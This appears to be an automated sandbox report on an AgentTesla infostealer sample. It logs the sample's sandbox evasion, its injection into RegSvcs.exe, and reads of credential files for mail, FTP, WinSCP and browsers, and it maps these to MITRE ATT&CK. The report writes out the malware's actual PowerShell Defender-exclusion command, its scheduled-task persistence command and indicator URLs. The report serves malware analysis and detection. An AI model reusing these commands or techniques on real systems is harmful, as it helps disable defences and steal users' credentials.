Source: C:\Users\user\Desktop\winlogon.exe TID: 6912	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6344	Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6184
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7653

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\winlogon.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\winlogon.exe	Thread delayed: delay time: 36574
Source: C:\Users\user\Desktop\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: RegSvcs.exe, 00000006.00000002.929777054.0000000005B17000.00000004.00000001.sdmp, RegSvcs.exe, 00000006.00000003.875278823.0000000005B58000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\winlogon.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_00E50040 LdrInitializeThunk,

Source: C:\Users\user\Desktop\winlogon.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe

Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: RegSvcs.exe, 00000006.00000002.928991406.0000000001300000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000006.00000002.928991406.0000000001300000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegSvcs.exe, 00000006.00000002.928991406.0000000001300000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegSvcs.exe, 00000006.00000002.928991406.0000000001300000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Users\user\Desktop\winlogon.exe VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\winlogon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_05DF5FDC GetUserNameW,

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 6.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cf9f30.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cc4110.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cf9f30.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cc4110.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.929157483.00000000029B4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6284, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: Yara match	File source: 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6284, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 6.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cf9f30.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cc4110.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cf9f30.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.winlogon.exe.3cc4110.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.929157483.00000000029B4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6284, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Scheduled Task/Job1	Process Injection112	Disable or Modify Tools11	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Deobfuscate/Decode Files or Information11	Credentials in Registry1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Security Account Manager	System Information Discovery114	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing13	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Security Software Discovery211	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion131	DCSync	Virtualization/Sandbox Evasion131	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection112	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
winlogon.exe	24%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.RegSvcs.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.0.RegSvcs.exe.400000.3.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.0.RegSvcs.exe.400000.2.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.0.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.0.RegSvcs.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://smtp.stockmeieir.com	0%	Avira URL Cloud	safe
http://wwHpow.com	0%	Avira URL Cloud	safe
https://Qr1QL48h5BTOb.com	0%	Avira URL Cloud	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://api.ipify.org%	0%	URL Reputation	safe
